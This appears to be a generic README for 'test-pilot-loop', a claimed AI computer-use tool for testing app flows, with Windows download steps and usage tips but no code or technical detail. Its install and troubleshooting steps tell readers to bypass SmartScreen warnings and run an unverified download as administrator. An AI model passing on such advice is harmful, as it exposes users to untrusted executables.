test-pilot-loop is an AI tool that checks software by using it like a person would. It helps validate apps before they reach users. It follows a guided loop, so AI agents can open the app, try tasks, catch issues, and report what they find.
This project is made for people who want a hands-off way to test software flows. It can help with:
- App checks after a new build
- UI testing through real user steps
- Multi-step task testing
- Basic workflow checks
- Repeatable test runs
Visit this page to download and run the app on Windows:
Open the page, look for the latest release or setup files, and get the Windows version that fits your system.
- Open the download page in your browser.
- Find the latest release or the main app file.
- Download the Windows build.
- If your browser asks what to do with the file, choose Save.
- When the download finishes, open the file from your Downloads folder.
- If Windows shows a security prompt, choose Run or More info, then Run if you trust the source.
- Follow the on-screen steps to finish setup.
- Start the app from the desktop shortcut or Start menu.
Use a Windows PC with:
- Windows 10 or Windows 11
- At least 8 GB of RAM
- A stable internet connection
- Enough free space for the app and its test files
- A modern browser if the app opens in a web view
For the best result, close large apps before you run test tasks. This gives the tool more room to work.
The app follows a simple loop:
- It opens the software you want to test.
- It looks at the screen.
- It chooses a task to try.
- It uses the app like a real user.
- It checks if the task worked.
- It logs the result.
- It repeats the loop for the next step.
This helps find broken flows, missed buttons, and steps that confuse users.
You can use test-pilot-loop to check many kinds of user flows:
- Sign in and sign out
- Create, edit, and save items
- Form fill tests
- Menu and button checks
- Page flow checks
- Error message checks
- Basic usability checks
- Multi-agent test runs for larger flows
It works best when you want the app to try the same flow many times with clear rules.
The project is built for software that has a visible screen and user actions. That means it can help with:
- Desktop apps
- Browser-based tools
- Internal tools
- Admin panels
- Product demos
- Early-stage builds
It is useful when you want to see how a real person would move through the product, not just how the code runs.
A typical run looks like this:
- You open test-pilot-loop.
- You choose the app or page to test.
- You set the task or goal.
- You start the run.
- The AI agent acts on the screen.
- You review the output or test log.
- You run the next test if needed.
Keep each test goal short and clear. For example:
- Open the settings page
- Change the profile name
- Save the form
- Check that the success message appears
Use a copy of your app when you can. This helps avoid changes to live data.
Good habits:
- Test in a staging or demo account
- Use fake data where possible
- Save logs after each run
- Check results before you trust them
- Re-run key flows after each build
When you download the project, you may see files for setup, runs, logs, or config. Common items can include:
- A main app file
- A config file for test steps
- A log folder
- A results folder
- A README file with setup help
If you see a file named like config, settings, or run, open it only if the app asks you to change a setting.
Here are simple tasks you can try after setup:
- Open the app and check the home page
- Try a search and confirm results show up
- Fill in a form and submit it
- Open the profile page and change one field
- Click through the main menu
- Check that a warning appears for bad input
These tasks help the tool learn how your product behaves in real use.
If Windows asks for permission:
- Choose Yes if you trust the file
- If SmartScreen shows a warning, select More info and then Run
- If the app does not open, right-click the file and choose Run as administrator
- If the file came in a ZIP folder, extract it first
If the app still does not start, download it again and try once more.
test-pilot-loop focuses on guided AI testing with real user actions. It combines:
- AI orchestration
- Computer use
- Test automation
- UX testing
- Persona-based testing
- Multi-agent coordination
- Loop-based validation
That makes it fit for teams that need repeatable checks for product flows.
For your first test, keep it simple:
- Pick one page
- Pick one task
- Watch the result
- Check the log
- Fix the issue
- Run it again
This helps you see how the tool behaves before you use it on a full product.
Try these steps:
- Make sure you downloaded the latest version
- Check that Windows did not block the file
- Close other apps
- Reopen the app
- Try a simpler test task
- Confirm your internet connection is stable
- Check the log for the last step that ran
Visit the GitHub page to download test-pilot-loop
- ai-orchestration
- ai-testing
- claude-code
- cli-anything
- computer-use
- cowork
- multi-agent
- openclaw
- persona-testing
- test-automation
- ux-testing